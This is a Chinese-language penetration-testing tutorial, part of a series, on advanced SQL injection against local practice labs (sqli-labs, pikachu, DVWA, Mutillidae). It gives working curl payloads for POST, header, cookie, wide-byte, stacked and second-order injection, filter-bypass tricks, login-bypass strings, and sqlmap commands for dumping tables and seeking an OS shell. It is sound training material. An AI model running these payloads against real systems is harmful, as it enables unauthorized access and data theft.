渗透测试实战从靶场搭建到渗透流程——第 4 篇 · SQL 注入进阶:POST、请求头与绕过

目 录

[一、POST 注入(Less-11~17)](#一、POST 注入(Less-11~17))

[1.1 Less-11:登录框 union 注入](#1.1 Less-11:登录框 union 注入)

[1.2 Less-17:UPDATE 型注入](#1.2 Less-17:UPDATE 型注入)

[1.3 Burp 抓包定位:先看表单再动手](#1.3 Burp 抓包定位:先看表单再动手)

二、请求头注入(Less-18~22)

三、过滤绕过(Less-23~28)

[3.1 宽字节注入(Less-32 起)](#3.1 宽字节注入(Less-32 起))

[四、堆叠注入与参数污染(Less-29~53 精选)](#四、堆叠注入与参数污染(Less-29~53 精选))

[4.1 堆叠注入(Less-38 起)](#4.1 堆叠注入(Less-38 起))

[4.2 参数污染 HPP(Less-29)](#4.2 参数污染 HPP(Less-29))

[4.3 二次注入](#4.3 二次注入)

[五、sqlmap 进阶:请求文件与定制](#五、sqlmap 进阶:请求文件与定制)

六、跨靶场对照练习

[6.1 pikachu(8088):字符型 3 列 union](#6.1 pikachu(8088):字符型 3 列 union)

[6.2 DVWA(8081):Cookie 携带 + 2 列](#6.2 DVWA(8081):Cookie 携带 + 2 列)

[6.3 Mutillidae(8084):7 列 + 绕过登录](#6.3 Mutillidae(8084):7 列 + 绕过登录)

七、验收、清场与下一篇预告

一、POST 注入(Less-11~17)

GET 注入的 payload 拼在 URL 上,POST 注入则藏在请求体里------登录表单是最典型的场景。第 3 篇的五步法原封不动,只是 payload 的「运输方式」变了:从 URL 参数变成 POST 参数。

1.1 Less-11:登录框 union 注入

curl -s "http://10.10.10.240:8086/Less-11/" \

--data-urlencode "uname=-1' union select 1,2--+" \

--data-urlencode "passwd=x" \

--data-urlencode "submit=Submit"

回显位落在 1、2 两列;换成 version(),database() 即收集信息

curl -s "http://10.10.10.240:8086/Less-11/" \

--data-urlencode "uname=-1' union select user(),database()--+" \

--data-urlencode "passwd=x" --data-urlencode "submit=Submit" | grep -oE "Login name.{0,40}"

登录框注入更直接的用法是绕过认证:uname 填 admin' or 1=1-- +(或任意存在的用户名加 or 1=1-- -),密码随便填,直接以该用户身份登录------WHERE 子句被恒真条件改写,密码校验形同虚设。

1.2 Less-17:UPDATE 型注入

Less-17 的注入点不在登录的 uname,而在「修改密码」处的 passwd 字段------UPDATE 语句的拼接。这类注入的特殊性:注入结果不直接回显,常用报错注入带出数据(and extractvalue(...));且不能破坏 UPDATE 语法本身,否则数据被改坏。登录处先提交正确用户名(如 Dumb),密码字段注入。

1.3 Burp 抓包定位:先看表单再动手

真实场景没人告诉你注入点在哪。方法固定:Burp 开代理提交一次表单,看请求体里有哪些参数、参数值去了哪个 SQL 语义位置(用户名?搜索词?排序字段?),再逐个加单引号探测。这与第 3 篇「让报错开口说话」是同一件事,只是探测位置从 URL 移到了请求体。

二、请求头注入(Less-18~22)

User-Agent、Referer、Cookie 也可能被拼进 SQL------典型场景是后台记录访问日志时把 UA 直接入库。这类注入 payload 放在请求头里,sqlmap 用 -p 指定或直接改头。

Less-18:UA 注入(需先有合法登录会话,用 Dumb/Dumb 登录)

curl -s "http://10.10.10.240:8086/Less-18/" \

-A "' and extractvalue(1,concat(0x7e,database()))-- and '1'='1" \

--data-urlencode "uname=Dumb" --data-urlencode "passwd=Dumb" \

--data-urlencode "submit=Submit"

预期:XPATH syntax error: '~security~'

Less-20:Cookie 注入(登录后携带 cookie,注入点在 cookie 值)

curl -s "http://10.10.10.240:8086/Less-20/" -b "uname=' and extractvalue(1,concat(0x7e,database()))-- and '1'='1" \

--data-urlencode "uname=Dumb" --data-urlencode "passwd=Dumb" --data-urlencode "submit=Submit"

请求头注入的要点:头部值里往往已有引号包裹结构(如 uname='...'),闭合时要兼顾头尾------结尾用 and '1'='1 让原结构闭合,比单纯 -- 注释更稳。

三、过滤绕过(Less-23~28)

到了这一段,靶场开始「封路」:注释符、空格、and/or 被过滤。绕过思路不是硬闯,而是找等价写法。

|----------------|---------------------------------------|----------------------------|
| 被过滤项 | 绕过写法 | 示例(Less-23,注释符被过滤) |
| # 与 -- 注释 | 改用闭合引号吞掉尾部:id=-1' union select 1,2,'3 | 原语句尾部引号被我们多塞的引号配对,语法闭合 |
| 空格 | /**/ 注释替代、%a0、括号嵌套 | union/**/select |
| and / or | 双写 aandnd、|| 与 && | where id=1 || 1=1 |
| union / select | 双写 uniunionon selselectect | 依赖过滤是单次替换(替换即删除)的假设 |

Less-23 实测:注释符被过滤,用「多带一个引号」闭合

curl -s -G "http://10.10.10.240:8086/Less-23/" \

--data-urlencode "id=-1' union select 1,version(),database() '1'='1" | grep -oE "Login name.{0,40}"

Less-26/26a:空格与 and/or 被过滤(Windows 下 %a0 才生效,Linux 用 /**/)

curl -s -G "http://10.10.10.240:8086/Less-26/" \

--data-urlencode "id=-1'||extractvalue(1,concat(0x7e,database()))||'1'='1" | grep -oE "error.{0,40}"

3.1 宽字节注入(Less-32 起)

当程序调用 addslashes 或开启 magic_quotes 转义单引号时,' 会变成 \'(反斜杠+引号)。若数据库连接用了 GBK 系编码(SET NAMES gbk),在引号前加 %df:%df\ 形成一个合法的 GBK 双字节汉字,把反斜杠「吃掉」,引号逃逸成功。

curl -s "http://10.10.10.240:8086/Less-32/?id=-1�' union select 1,version(),database()--+" | grep -oE "Login name.{0,40}"

预期:Login name: 5.5.44... (引号逃逸成功,union 生效)

宽字节的防御正解不是过滤,而是连接与存储编码统一为 UTF-8,并使用参数化查询(mysql_real_escape_string 在 GBK 连接下同样可被 %df 绕过)。

四、堆叠注入与参数污染(Less-29~53 精选)

4.1 堆叠注入(Less-38 起)

后端使用 mysqli_multi_query 时,分号可以连续执行多条 SQL------注入从「改写一条查询」升级为「执行任意语句」,可以 INSERT/UPDATE,甚至写文件(第 8 篇的延伸)。

curl -s "http://10.10.10.240:8086/Less-38/?id=1;insert into users(id,username,password) values(99,'stack','test')--+" -o /dev/null -w "%{http_code}\n"

curl -s -G "http://10.10.10.240:8086/Less-38/" --data-urlencode "id=-1' union select 1,group_concat(username,0x3a,password),3 from users where id=99--+" | grep -oE "stack.{0,20}"

能查到 stack:test 即堆叠执行成功

4.2 参数污染 HPP(Less-29)

同一参数名出现两次(?id=1&id=-1'...)时,WAF 与后端 PHP 对「取哪个值」可能不一致:WAF 检查第一个,PHP 取最后一个。把恶意 payload 放在后一个 id 里即可穿过检测。这类「检测端与执行端解析不一致」的思路,同样适用于 HTTP 头大小写、编码歧义等场景。

4.3 二次注入

先通过注册等功能把带引号的脏数据(用户名如 admin'-- -)合法写入数据库,再在「引用该数据的语句」(如改密码按用户名 WHERE)里触发拼接。两次请求各自无异常,危害发生在引用时刻。它的教训是:入库前转义不够,出库后拼接才是原罪------参数化查询必须贯穿始终。

五、sqlmap 进阶:请求文件与定制

手工确认注入点后,用 sqlmap 批量取证。重点是从 Burp 抓包导出请求文件(-r),复杂场景全靠它表达:

1) Burp 抓包另存为 req.txt(含 Cookie、POST 体),sqlmap 直接重放

sqlmap -r req.txt --batch --dbs

2) 指定注入参数与技巧

sqlmap -r req.txt --batch -p uname --technique=EU --dbs

3) 时间盲注提速

sqlmap -r req.txt --batch --technique=T --time-sec=5

4) 拖库与哈希

sqlmap -r req.txt --batch -D security -T users --dump

5) 写文件前提探测(第 8 篇展开)

sqlmap -r req.txt --batch --is-dba --privileges

|----------------|-------------|-------------------------------------|
| 参数 | 作用 | 何时用 |
| -r req.txt | 重放完整请求 | 有 Cookie/Token/复杂 POST 体时,首选 |
| -p | 指定测试参数 | 多参数时缩小范围、避免误报 |
| --technique=EU | 限定注入类型 | 布尔无效时强制 union/报错(避免选出慢技巧) |
| --batch | 免交互默认应答 | 无人值守跑批 |
| --os-shell | 尝试拿系统 shell | 需 FILE 权限 + 可写 Web 目录(靶场环境见第 8 篇结论) |

六、跨靶场对照练习

同一个注入思维链,在三个靶场各打一遍,体会「列数、回显位、提交方式」的现场差异------这正是实战中最消耗时间的部分。

6.1 pikachu(8088):字符型 3 列 union

curl -s -G "http://10.10.10.240:8088/vul/sqli/sqli_str.php" \

--data-urlencode "name=kobe' union select 1,version(),database()#" \

--data-urlencode "submit=查询" | grep -oE "pikachu|5\.0-9.+"

预期(实测):回显库名 pikachu。注意 # 在 URL 必须由 --data-urlencode 编码为 %23

6.2 DVWA(8081):Cookie 携带 + 2 列

DVWA 需登录态与 security=low 的 Cookie(登录取 token 的脚本见第 7 篇附录)

curl -s -b "PHPSESSID=你的会话; security=low" \

-G "http://10.10.10.240:8081/vulnerabilities/sqli/" \

--data-urlencode "id=-1' union select user(),database()-- -" \

--data-urlencode "Submit=Submit"

预期(实测):First name: app@localhost Surname: dvwa

6.3 Mutillidae(8084):7 列 + 绕过登录

curl -s "http://10.10.10.240:8084/index.php?page=login.php" \

--data-urlencode "username=vince' or 1=1-- -" --data-urlencode "password=x" \

--data-urlencode "login-php-submit-button=Login" | grep -c "Logged In Admin"

>=1 即绕过登录成功

union 取数据(account 表 7 列)

curl -s "http://10.10.10.240:8084/index.php?page=user-info.php" \

--data-urlencode "username=-1' union select 1,version(),database(),4,5,6,7-- -" \

--data-urlencode "password=x" \

--data-urlencode "user-info-php-submit-button=View Account Details" | grep -oE "5\.0-9.+|mutillidae"

预期(实测):5.5.60-0ubuntu0.14.04.1 / mutillidae

对照结论:五步法不变,变的只有四个现场参数------提交方式(GET/POST/Cookie)、闭合符号、列数、回显位。先 order by 再 union 的纪律永远不变。

七、验收、清场与下一篇预告

验收清单:Less-11 绕过登录或 union 取数;Less-18 UA 报错注入拿到库名;Less-23 引号闭合绕过注释过滤;Less-32 宽字节逃逸;Less-38 堆叠插入新用户并可查询;三个对照靶场各拿到预期回显。

一键验收示例

curl -s "http://10.10.10.240:8084/index.php?page=login.php" \

--data-urlencode "username=vince' or 1=1-- -" --data-urlencode "password=x" \

--data-urlencode "login-php-submit-button=Login" | grep -c Admin # >=1

清场:Less-38 堆叠练习插入了测试用户,清理它:

curl -s "http://10.10.10.240:8086/Less-38/?id=1;delete from users where id=99--+" -o /dev/null -w "%{http_code}\n"

或直接点首页 Setup/reset Database for labs 一键还原

到此,注入的「读」已练透。注入的「写」------INTO OUTFILE 落马、secure_file_priv 的攻防、general_log 绕过------在第 8 篇服务型靶标里专门展开。下一篇先转向另一条主线:文件上传(upload-labs 21 关),从绕前端校验打到条件竞争。

相关推荐
IT大白鼠2 天前
渗透测试实战从靶场搭建到渗透流程——第 1 篇 · 靶场宿主搭建:Docker 编排 15 个常驻靶场
渗透测试
墨云安全7 天前
系统安全检测方案怎么写?从资产清点到复测闭环的技术框架
安全·网络安全·渗透测试·系统安全
文章永久免费只为良心11 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全12 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全12 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全13 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
墨云安全13 天前
AI 渗透测试是怎么实现的?2026 年大模型驱动测试用例生成的工程拆解
网络·人工智能·网络安全·渗透测试·测试用例
墨云安全14 天前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
墨云安全17 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试